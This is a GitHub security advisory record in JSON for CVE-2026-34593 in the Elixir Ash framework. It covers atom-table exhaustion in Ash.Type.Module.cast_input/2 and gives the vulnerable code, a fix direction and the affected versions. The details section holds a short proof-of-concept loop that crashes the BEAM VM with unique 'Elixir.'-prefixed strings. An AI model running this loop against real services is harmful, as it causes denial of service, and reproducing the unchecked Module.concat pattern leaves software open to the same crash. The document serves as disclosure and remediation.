{"id":"GHSA-jjf9-w5vj-r6vp","summary":"Ash.Type.Module.cast_input/2 atom exhaustion via unchecked Module.concat allows BEAM VM crash","details":"## Summary\n\n`Ash.Type.Module.cast_input/2` unconditionally creates a new Erlang atom via `Module.concat([value])` for any user-supplied binary string that starts with `\"Elixir.\"`, before verifying whether the referenced module exists. Because Erlang atoms are never garbage-collected and the BEAM atom table has a hard default limit of approximately 1,048,576 entries, an attacker who can submit values to any resource attribute or argument of type `:module` can exhaust this table and crash the entire BEAM VM, taking down the application.\n\n## Details\n\n**Setup**: A resource with a `:module`-typed attribute exposed to user input, which is a supported and documented usage of the `Ash.Type.Module` built-in type:\n\n```elixir\ndefmodule MyApp.Widget do\n  use Ash.Resource, domain: MyApp, data_layer: AshPostgres.DataLayer\n\n  attributes do\n    uuid_primary_key :id\n    attribute :handler_module, :module, public?: true\n  end\n\n  actions do\n    defaults [:read, :destroy]\n    create :create do\n      accept [:handler_module]\n    end\n  end\nend\n```\n\n**Vulnerable code** in `lib/ash/type/module.ex`, lines 105-113:\n\n```elixir\ndef cast_input(\"Elixir.\" \u003c\u003e _ = value, _) do\n  module = Module.concat([value])   # \u003c-- Creates new atom unconditionally\n  if Code.ensure_loaded?(module) do\n    {:ok, module}\n  else\n    :error                          # \u003c-- Returns error but atom is already created\n  end\nend\n```\n\n**Exploit**: Submit repeated `Ash.create` requests (e.g., via a JSON API endpoint) with unique `\"Elixir.*\"` strings:\n\n```elixir\n# Attacker-controlled loop (or HTTP requests to an API endpoint)\nfor i \u003c- 1..1_100_000 do\n  Ash.Changeset.for_create(MyApp.Widget, :create, %{handler_module: \"Elixir.Attack#{i}\"})\n  |\u003e Ash.create()\n  # Each iteration: Module.concat([\"Elixir.Attack#{i}\"]) creates a new atom\n  # cast_input returns :error but the atom :\"Elixir.Attack#{i}\" persists\nend\n# After ~1,048,576 unique strings: BEAM crashes with system_limit\n```\n\n**Contrast**: The non-`\"Elixir.\"` path in the same function correctly uses `String.to_existing_atom/1`, which is safe because it only looks up atoms that already exist:\n\n```elixir\ndef cast_input(value, _) when is_binary(value) do\n  atom = String.to_existing_atom(value)   # safe - raises if atom doesn't exist\n  ...\nend\n```\n\n**Additional occurrence**: `cast_stored/2` at line 141 contains the identical pattern, which is reachable when reading `:module`-typed values from the database if an attacker can write arbitrary `\"Elixir.*\"` strings to the relevant database column.\n\n## Impact\n\nAn attacker who can submit requests to any API endpoint backed by an Ash resource with a `:module`-typed attribute or argument can crash the entire BEAM VM process. This is a complete denial of service: all resources served by that VM instance (not just the targeted resource) become unavailable. The crash cannot be prevented once the atom table is full, and recovery requires a full process restart.\n\n**Fix direction**: Replace `Module.concat([value])` with `String.to_existing_atom(value)` wrapped in a `rescue ArgumentError` block (as already done in the non-`\"Elixir.\"` branch), or validate that the atom already exists before calling `Module.concat` by first attempting `String.to_existing_atom` and only falling back to `Module.concat` on success.","aliases":["CVE-2026-34593"],"modified":"2026-04-15T21:03:43.273924Z","published":"2026-04-01T00:14:40Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-04-01T00:14:40Z","nvd_published_at":"2026-04-02T18:16:31Z","cwe_ids":["CWE-400","CWE-770"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/ash-project/ash/security/advisories/GHSA-jjf9-w5vj-r6vp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34593"},{"type":"WEB","url":"https://github.com/ash-project/ash/commit/7031103da38cd1366cec8c96d6bcdc9b989aa3c2"},{"type":"PACKAGE","url":"https://github.com/ash-project/ash"},{"type":"WEB","url":"https://github.com/ash-project/ash/releases/tag/v3.22.0"}],"affected":[{"package":{"name":"ash","ecosystem":"Hex","purl":"pkg:hex/ash"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.22.0"}]}],"versions":["0.1.0","0.1.1","0.1.3","0.1.8","0.1.9","0.10.0","0.12.0","0.13.0","0.13.1","0.2.0","0.3.0","0.4.0","0.5.0","0.5.1","0.5.2","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.7.0","0.8.0","0.9.0","0.9.1","1.0.0","1.0.1","1.0.2","1.0.3","1.1.0","1.1.2","1.1.3","1.10.0","1.11.0","1.11.1","1.12.0","1.13.0","1.13.1","1.13.2","1.13.3","1.13.4","1.14.0","1.15.0","1.15.1","1.16.2","1.17.0","1.17.1","1.18.0","1.18.1","1.19.0","1.19.1","1.2.0","1.2.1","1.20.0","1.20.1","1.22.0","1.22.1","1.23.0","1.23.1","1.23.2","1.23.3","1.24.0","1.24.1","1.24.2","1.25.0","1.25.1","1.25.2","1.25.3","1.25.4","1.25.5","1.25.6","1.25.7","1.25.8","1.26.0","1.26.1","1.26.10","1.26.11","1.26.12","1.26.13","1.26.2","1.26.4","1.26.5","1.26.6","1.26.7","1.26.8","1.26.9","1.27.0","1.27.1","1.28.0","1.28.1","1.29.0-rc0","1.29.0-rc1","1.3.0","1.3.1","1.30.1","1.30.2","1.31.0","1.31.1","1.32.0","1.32.1","1.32.2","1.33.0","1.34.0","1.34.1","1.34.2","1.34.3","1.34.4","1.34.5","1.34.6","1.34.7","1.34.8","1.34.9","1.35.0","1.35.1","1.36.0","1.36.10","1.36.11","1.36.12","1.36.13","1.36.14","1.36.15","1.36.16","1.36.17","1.36.18","1.36.19","1.36.2","1.36.21","1.36.22","1.36.3","1.36.4","1.36.5","1.36.6","1.36.7","1.36.8","1.36.9","1.37.0","1.37.1","1.37.2","1.38.0","1.39.0","1.39.1","1.39.2","1.39.3","1.39.4","1.39.5","1.39.6","1.39.7","1.4.0","1.4.1","1.40.0","1.41.0","1.41.1","1.41.10","1.41.11","1.41.12","1.41.2","1.41.3","1.41.4","1.41.5","1.41.6","1.41.7","1.41.8","1.41.9","1.42.0","1.43.0","1.43.1","1.43.10","1.43.11","1.43.12","1.43.2","1.43.3","1.43.4","1.43.5","1.43.6","1.43.7","1.43.8","1.43.9","1.44.0","1.44.1","1.44.10","1.44.11","1.44.12","1.44.13","1.44.2","1.44.3","1.44.4","1.44.5","1.44.6","1.44.7","1.44.8","1.44.9","1.45.0-rc0","1.45.0-rc1","1.45.0-rc10","1.45.0-rc11","1.45.0-rc12","1.45.0-rc13","1.45.0-rc14","1.45.0-rc15","1.45.0-rc16","1.45.0-rc17","1.45.0-rc18","1.45.0-rc19","1.45.0-rc2","1.45.0-rc20","1.45.0-rc3","1.45.0-rc4","1.45.0-rc5","1.45.0-rc6","1.45.0-rc7","1.45.0-rc8","1.45.0-rc9","1.46.0","1.46.1","1.46.10","1.46.11","1.46.12","1.46.13","1.46.2","1.46.3","1.46.4","1.46.5","1.46.6","1.46.7","1.46.8","1.46.9","1.47.0","1.47.1","1.47.10","1.47.11","1.47.12","1.47.2","1.47.3","1.47.4","1.47.5","1.47.6","1.47.7","1.47.8","1.47.9","1.48.0-rc.0","1.48.0-rc.1","1.48.0-rc.10","1.48.0-rc.11","1.48.0-rc.12","1.48.0-rc.13","1.48.0-rc.14","1.48.0-rc.15","1.48.0-rc.16","1.48.0-rc.17","1.48.0-rc.18","1.48.0-rc.19","1.48.0-rc.2","1.48.0-rc.20","1.48.0-rc.21","1.48.0-rc.22","1.48.0-rc.23","1.48.0-rc.24","1.48.0-rc.25","1.48.0-rc.26","1.48.0-rc.27","1.48.0-rc.28","1.48.0-rc.29","1.48.0-rc.3","1.48.0-rc.30","1.48.0-rc.4","1.48.0-rc.5","1.48.0-rc.6","1.48.0-rc.7","1.48.0-rc.8","1.48.0-rc.9","1.49.0","1.5.0","1.5.1","1.50.0","1.50.1","1.50.10","1.50.11","1.50.12","1.50.13","1.50.14","1.50.15","1.50.16","1.50.17","1.50.18","1.50.19","1.50.2","1.50.20","1.50.21","1.50.3","1.50.4","1.50.5","1.50.6","1.50.7","1.50.8","1.50.9","1.51.0","1.51.1","1.51.2","1.52.0-rc.0","1.52.0-rc.1","1.52.0-rc.10","1.52.0-rc.11","1.52.0-rc.12","1.52.0-rc.13","1.52.0-rc.14","1.52.0-rc.15","1.52.0-rc.16","1.52.0-rc.17","1.52.0-rc.18","1.52.0-rc.19","1.52.0-rc.2","1.52.0-rc.20","1.52.0-rc.21","1.52.0-rc.22","1.52.0-rc.3","1.52.0-rc.4","1.52.0-rc.5","1.52.0-rc.6","1.52.0-rc.7","1.52.0-rc.8","1.52.0-rc.9","1.53.0","1.53.2","1.53.3","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.7.0","1.8.0","1.9.0","2.0.0","2.0.0-pre.0","2.0.0-pre.1","2.0.0-pre.2","2.0.0-pre.3","2.0.0-pre.4","2.0.0-pre.5","2.0.0-pre.6","2.0.0-pre.7","2.0.0-pre.8","2.0.0-rc.0","2.0.0-rc.1","2.0.0-rc.10","2.0.0-rc.11","2.0.0-rc.12","2.0.0-rc.13","2.0.0-rc.14","2.0.0-rc.15","2.0.0-rc.2","2.0.0-rc.3","2.0.0-rc.4","2.0.0-rc.5","2.0.0-rc.6","2.0.0-rc.7","2.0.0-rc.8","2.0.0-rc.9","2.1.0","2.10.0","2.10.1","2.10.2","2.11.0","2.11.0-rc.0","2.11.0-rc.1","2.11.0-rc.2","2.11.0-rc.3","2.11.1","2.11.10","2.11.11","2.11.2","2.11.3","2.11.4","2.11.5","2.11.6","2.11.7","2.11.8","2.11.9","2.12.0","2.12.1","2.13.0","2.13.1","2.13.2","2.13.3","2.13.4","2.14.0","2.14.1","2.14.10","2.14.11","2.14.12","2.14.13","2.14.14","2.14.15","2.14.16","2.14.17","2.14.18","2.14.19","2.14.2","2.14.20","2.14.21","2.14.3","2.14.4","2.14.5","2.14.6","2.14.7","2.14.8","2.14.9","2.15.0","2.15.1","2.15.10","2.15.11","2.15.12","2.15.13","2.15.14","2.15.15","2.15.16","2.15.17","2.15.18","2.15.19","2.15.2","2.15.20","2.15.4","2.15.5","2.15.6","2.15.7","2.15.8","2.15.9","2.16.0","2.16.1","2.17.0","2.17.1","2.17.10","2.17.11","2.17.12","2.17.13","2.17.14","2.17.15","2.17.16","2.17.17","2.17.18","2.17.19","2.17.2","2.17.20","2.17.21","2.17.22","2.17.23","2.17.24","2.17.3","2.17.4","2.17.5","2.17.6","2.17.7","2.17.8","2.17.9","2.18.0","2.18.1","2.18.2","2.19.0","2.19.1","2.19.10","2.19.11","2.19.12","2.19.13","2.19.14","2.19.2","2.19.3","2.19.4","2.19.5","2.19.6","2.19.7","2.19.8","2.19.9","2.2.0","2.20.0","2.20.1","2.20.2","2.20.3","2.21.0","2.21.1","2.21.10","2.21.11","2.21.12","2.21.13","2.21.14","2.21.15","2.21.2","2.21.3","2.21.4","2.21.5","2.21.6","2.21.7","2.21.8","2.21.9","2.3.0","2.4.0","2.4.1","2.4.10","2.4.11","2.4.12","2.4.13","2.4.14","2.4.15","2.4.16","2.4.17","2.4.18","2.4.19","2.4.2","2.4.20","2.4.21","2.4.22","2.4.23","2.4.24","2.4.25","2.4.26","2.4.27","2.4.28","2.4.29","2.4.3","2.4.30","2.4.4","2.4.5","2.4.6","2.4.7","2.4.8","2.4.9","2.5.0","2.5.0-rc.0","2.5.0-rc.1","2.5.0-rc.2","2.5.0-rc.3","2.5.0-rc.4","2.5.0-rc.5","2.5.0-rc.6","2.5.1","2.5.10","2.5.11","2.5.12","2.5.13","2.5.14","2.5.15","2.5.16","2.5.2","2.5.3","2.5.4","2.5.5","2.5.6","2.5.7","2.5.8","2.5.9","2.6.0","2.6.1","2.6.10","2.6.11","2.6.13","2.6.14","2.6.15","2.6.16","2.6.17","2.6.18","2.6.19","2.6.2","2.6.20","2.6.21","2.6.22","2.6.23","2.6.24","2.6.25","2.6.26","2.6.27","2.6.28","2.6.29","2.6.3","2.6.30","2.6.31","2.6.4","2.6.5","2.6.6","2.6.7","2.6.8","2.6.9","2.7.0","2.7.1","2.8.0","2.8.1","2.9.0","2.9.1","2.9.10","2.9.11","2.9.12","2.9.13","2.9.14","2.9.15","2.9.16","2.9.17","2.9.18","2.9.19","2.9.2","2.9.20","2.9.21","2.9.22","2.9.23","2.9.24","2.9.25","2.9.26","2.9.27","2.9.28","2.9.29","2.9.3","2.9.4","2.9.5","2.9.6","2.9.7","2.9.8","2.9.9","3.0.0","3.0.0-rc.0","3.0.0-rc.1","3.0.0-rc.10","3.0.0-rc.11","3.0.0-rc.12","3.0.0-rc.13","3.0.0-rc.14","3.0.0-rc.15","3.0.0-rc.16","3.0.0-rc.17","3.0.0-rc.18","3.0.0-rc.19","3.0.0-rc.20","3.0.0-rc.21","3.0.0-rc.22","3.0.0-rc.23","3.0.0-rc.24","3.0.0-rc.25","3.0.0-rc.26","3.0.0-rc.27","3.0.0-rc.28","3.0.0-rc.29","3.0.0-rc.3","3.0.0-rc.31","3.0.0-rc.32","3.0.0-rc.33","3.0.0-rc.34","3.0.0-rc.35","3.0.0-rc.36","3.0.0-rc.37","3.0.0-rc.38","3.0.0-rc.39","3.0.0-rc.4","3.0.0-rc.40","3.0.0-rc.41","3.0.0-rc.42","3.0.0-rc.43","3.0.0-rc.44","3.0.0-rc.45","3.0.0-rc.46","3.0.0-rc.5","3.0.0-rc.6","3.0.0-rc.7","3.0.0-rc.8","3.0.0-rc.9","3.0.1","3.0.10","3.0.11","3.0.12","3.0.13","3.0.14","3.0.15","3.0.16","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.10.0","3.10.1","3.11.0","3.11.1","3.11.2","3.11.3","3.12.0","3.13.0","3.13.1","3.13.2","3.14.0","3.14.1","3.15.0","3.16.0","3.17.0","3.17.1","3.18.0","3.19.0","3.19.1","3.19.2","3.19.3","3.2.0","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.2.6","3.20.0","3.21.0","3.21.1","3.21.2","3.21.3","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.10","3.4.11","3.4.12","3.4.13","3.4.14","3.4.15","3.4.16","3.4.17","3.4.18","3.4.19","3.4.2","3.4.20","3.4.21","3.4.22","3.4.23","3.4.24","3.4.25","3.4.26","3.4.27","3.4.28","3.4.29","3.4.3","3.4.30","3.4.31","3.4.32","3.4.33","3.4.34","3.4.35","3.4.36","3.4.37","3.4.38","3.4.39","3.4.4","3.4.40","3.4.41","3.4.42","3.4.43","3.4.44","3.4.45","3.4.46","3.4.47","3.4.48","3.4.49","3.4.5","3.4.50","3.4.51","3.4.52","3.4.53","3.4.54","3.4.55","3.4.56","3.4.57","3.4.58","3.4.59","3.4.6","3.4.60","3.4.61","3.4.62","3.4.63","3.4.64","3.4.65","3.4.66","3.4.67","3.4.68","3.4.69","3.4.7","3.4.70","3.4.71","3.4.72","3.4.73","3.4.74","3.4.8","3.4.9","3.5.0","3.5.1","3.5.10","3.5.11","3.5.12","3.5.13","3.5.14","3.5.15","3.5.16","3.5.17","3.5.18","3.5.19","3.5.2","3.5.20","3.5.21","3.5.22","3.5.23","3.5.24","3.5.25","3.5.26","3.5.27","3.5.28","3.5.29","3.5.3","3.5.30","3.5.31","3.5.32","3.5.33","3.5.34","3.5.35","3.5.36","3.5.37","3.5.38","3.5.39","3.5.4","3.5.40","3.5.41","3.5.42","3.5.43","3.5.5","3.5.6","3.5.7","3.5.8","3.5.9","3.6.0","3.6.1","3.6.2","3.6.3","3.7.0","3.7.1","3.7.2","3.7.3","3.7.4","3.7.5","3.7.6","3.8.0","3.9.0"],"database_specific":{"last_known_affected_version_range":"\u003c= 3.21.3","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-jjf9-w5vj-r6vp/GHSA-jjf9-w5vj-r6vp.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}